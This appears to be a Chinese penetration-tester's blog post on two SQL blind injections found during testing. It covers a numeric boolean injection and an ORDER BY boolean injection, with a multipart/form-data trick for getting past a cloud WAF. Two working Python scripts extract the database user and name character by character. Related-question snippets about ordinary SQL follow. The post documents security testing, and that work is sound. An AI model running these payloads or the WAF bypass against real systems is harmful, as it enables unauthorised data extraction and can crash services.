近期遇到的两个SQL盲注与云盾绕过的一个小tips

2023-11-18


前言

最近在测试过程中遇到两个SQL注入,一个是数字型的盲注,一个是order by盲注+云盾绕过。


一、数字型盲注

凭借印象,搭了个环境,大概长这样,前面170会拼接到查询语句,后面不知道什么用,但是必须得有。
在这里插入图片描述

尝试了一下加单引号,没查出数据,再加注释符也没查出数据。

然后想到可能是数字型注入,所以又试了一下?id=170-1|数据?id=171-1|数据,前一个没有查出 id 为 169 的数据,后一个查出 id 为 170 的数据

继续尝试 order by 和 union select,惨遭过滤

尝试?id=170-if(1,1,0)|数据?id=170-if(0,1,0)|数据,前者查出 169 的数据,后者查出 170 的数据,妥妥的布尔盲注。

直接上脚本

# coding=utf-8
import requests

url = 'http://host/sql.php'

result = ""

headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

for i in range(1, 100):
    a = 33
    b = 130
    mid = (a + b) >> 1
    while a < b:
        data = "id=170-if(ascii(substr((select(user())),{},1))>{},1,0)|%E6%95%B0%E6%8D%AE".format(i, mid)
        html = requests.post(url, data=data, headers=headers)

        if b"169" in html.content:
            a = mid + 1
        else:
            b = mid
        mid = (a + b) >> 1
    if chr(mid) == "!":
        break
    result += chr(mid)
    print(result)

print("result:::" + result)

一个合格的测试要学会规避风险,查个用户或数据库名证明漏洞存在就可以提交收工了。

二、order by注入

也是一个接口,尝试在 rowNum 处加了一个单引号,结果直接导致报错,把整个 SQL 语句爆出来了,此时知道参数被放到了 order by 后面。
在这里插入图片描述
那不就直接开干,但是还没开始高兴,结果就遇到了这个。
在这里插入图片描述
但是不慌,头一天才学到的新姿势,直接一二两步,开始快乐注入
在这里插入图片描述
然后上百度找了篇文章 sql注入之order-by注入,方法千千万,我偏偏选了最蠢的一个——时间盲注,然后一套脚本打过去,直接给干崩了(我在本地也试了一下,不管延迟多少,都会直接卡死),给孩子吓的,还好是内网系统,影响面不大。赶紧联系开发解决咯。
在这里插入图片描述
因为之前报错,爆出了完整的SQL语句,当然也包括列名,所以可以使用order by if(bool, id, name),观察了一下,bool 为真和为假的结果确实不一样,所以可以直接布尔盲注。

上脚本

import requests

url = 'http://host/xxxx/xxx'


data = {'id': 'com.xxx.getUserList',
        'page': '1',
        'sortName': ''
        }

result = ''

for i in range(1, 100):
    a = 33
    b = 130
    mid = (a + b) >> 1
    while a < b:
        sql = 'if((select ascii(substr((select database()),{},1))>{}), id, code)'.format(i, mid)
        data['sortName'] = sql

        rsp = requests.post(url, data=data, files={'a': b''}, timeout=2)  # 加 files 可以将 Content-Type 转化为 multipart/form-data; 

        if b"flag" in rsp.content:
            a = mid + 1
        else:
            b = mid
        mid = (a + b) >> 1
    if chr(mid) == "!":
        break
    result += chr(mid)
    print(result)

print("result:::"+result)
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

近期遇到的两个SQL盲注与云盾绕过的一个小tips 的相关文章

  • android sqlite 如果不存在则创建表

    创建新表时遇到一点问题 当我使用 CREATE TABLE 命令时 我的新表按应有的方式形成 但是当我退出活动时 应用程序崩溃 并且我在 logcat 中得到一个表已存在 如果我使用 CREATE TABLE IF NOT EXISTS 则
  • 如何在 SQL 中的时区中使用“America/New_York”

    我有这段代码在 SQL 中运行良好 但是我想使用不同的时区格式 例如 America New York 代替 US Eastern Standard Time SELECT TODATETIMEOFFSET CAST CURRENT TIM
  • Sql 查询抛出标识符太长。最大长度为 128

    我正在处理一个简单的更新查询 在执行查询时看到以下错误 我非常清楚 这根本不应该是一个长度问题 可能是什么问题 Error 以identifier开头的标识符太长 最大长度为 128 我的查询 update dbo DataSettings
  • SQL:使用相等的键和最近的键进行连接(类似于 Pandas 的合并)

    例如 我有2个这样的表 对于表 1 中的每一行 我想获取该行 same customer id and nearest date 就我而言 table2 date lt table1 date 结果应该是这样的 我怎样才能在 SQL 中做到
  • 在调用存储过程 Sql Server 2008 时使用嵌套存储过程结果

    是否可以在另一个存储过程中使用一个存储过程的结果 I e CREATE PROCEDURE dbo Proc1 ID INT mfgID INT DealerID INT AS BEGIN DECLARE Proc1Result UserD
  • SQL 删除自动命名约束

    我使用脚本在表上创建了一些约束 但未指定约束名称 结果 我最终受到了像这样的限制FK DOC OBGS kntr 54E63309例如 是否可以在不指定确切的约束名称的情况下删除该约束 例如 类似这样的东西 不起作用 ALTER TABLE
  • 不使用窗口函数实现 SQL 查询

    我读过 可以通过创造性地使用连接等来实现在 SQL 窗口函数中可以执行的任何操作 但我不知道如何实现 我在这个项目中使用 SQLite 它目前没有窗口函数 我有一个有四列的表 CREATE TABLE foo id INTEGER PRIM
  • 当添加列较少时追加到现有 SQLite 表,而不将数据库读入 R

    是否有一些简单的方法 无论是在 SQL 端还是在 R 端 将 data frame 附加到具有更多列的现有表 缺失的列应该用 NA 填充 如果它能够优雅地处理比表 1 列数更多的表 2 那么会加分吗 library RSQLite Crea
  • 使用 SQL Server 作为具有多个客户端的数据库队列

    给定一个充当队列的表 如何最好地配置表 查询 以便多个客户端同时处理队列 例如 下表指示了工作人员必须处理的命令 当worker完成后 它会将处理后的值设置为true ID COMMAND PROCESSED 1 true 2 false
  • OVER ORDER BY 中的多个列

    有没有办法在 OVER ORDER BY 子句中指定多个列 SELECT ROW NUMBER OVER ORDER BY A Col1 AS ID FROM MyTable A 上面的方法工作正常 但尝试添加第二列不起作用 SELECT
  • 如何在一列中存储数组或多个值

    运行 Postgres 7 4 是的 我们正在升级 我需要将 1 到 100 个选定项目存储到数据库的一个字段中 98 的情况下 只会输入 1 个项目 而 2 的情况下 如果是这样的话 会输入多个项目 这些项目只不过是文本描述 截至目前 长
  • sql查询连接两个服务器中不同数据库的两个表

    我在 ServerS 上的数据库中有两个表 tableA 在 ServerB 上的数据库中有两个表 我只想根据这些表的公共字段名对这些表执行 fullouter join 在 SQL Server 中 您可以创建一个链接服务器 在 Mana
  • Camel Sql 大型数据集的消费者性能

    我正在尝试在 Ignite 缓存中缓存一些静态数据 以便更快地查询 因此我需要从 DataBase 读取数据 以便将它们插入到缓存集群中 但是行数约为 300 万 通常会导致 OutOfMemory 错误 因为 SqlComponent 试
  • 仅使用 SQL 中的 MAX 函数更新重复行

    我有一张这样的桌子 假设为了举例 NAME是一个唯一的标识符 NAME AGE VALUE Jack Under 65 3 Jack 66 74 5 John 66 74 7 John Over 75 9 Gill 25 35 11 Som
  • Oracle Many OR 与 IN () 的 SQL 性能调优 [重复]

    这个问题在这里已经有答案了 我手头没有 解释计划 您能帮忙判断以下哪一个更有效吗 选项1 select from VIEW ABC where STRING COL AA OR STRING COL BB OR STRING COL BB
  • 在 Oracle SQL 中执行 MERGE 时,如何更新 SOURCE 中不匹配的行?

    我有一个main数据库和一个report数据库 我需要同步一个表main into report 但是 当项目在main数据库 我只想设置一个IsDeleted标志在report数据库 执行此操作的优雅方法是什么 我目前正在使用 MERGE
  • PIVOT 运算符中指定的列名“FirstName”与 PIVOT 参数中的现有列名冲突

    当我尝试替换时收到以下错误消息null to zero PIVOT 运算符中指定的列名 jan 与 PIVOT 参数中的现有列名称 查询如下 select from select isnull jan 0 isnull feb 0 sum
  • SQL Not Empty 代替 Not NULL

    我正在使用 postgreSQL 我有一个专栏 NOT NULL 但是 当我想插入带有空字符串的行时 如下所示 它不会给我错误并接受 我如何检查插入值应该是not empty 既不为空也不为空 PS 我的专栏定义为 ads characte
  • 如何重命名 SQL Server 中名称中带有方括号的内容?

    我的一张桌子上有一列 周围有方括号 Book Category 我想重命名为Book Category 我尝试了以下查询 sp rename BookPublisher Book Category Book Category COLUMN
  • 产品和变体 - 设计数据库的最佳方法

    描述 商店可以有产品 鞋子 T 恤等 每个产品可以有许多变体 每个变体可以有不同的价格和库存 例如T 恤有不同的颜色和尺寸 颜色 蓝色 尺寸 L 价格 10 美元 库存 5 颜色 蓝色 尺寸 XL 价格 10 美元 库存 10 颜色 白色

随机推荐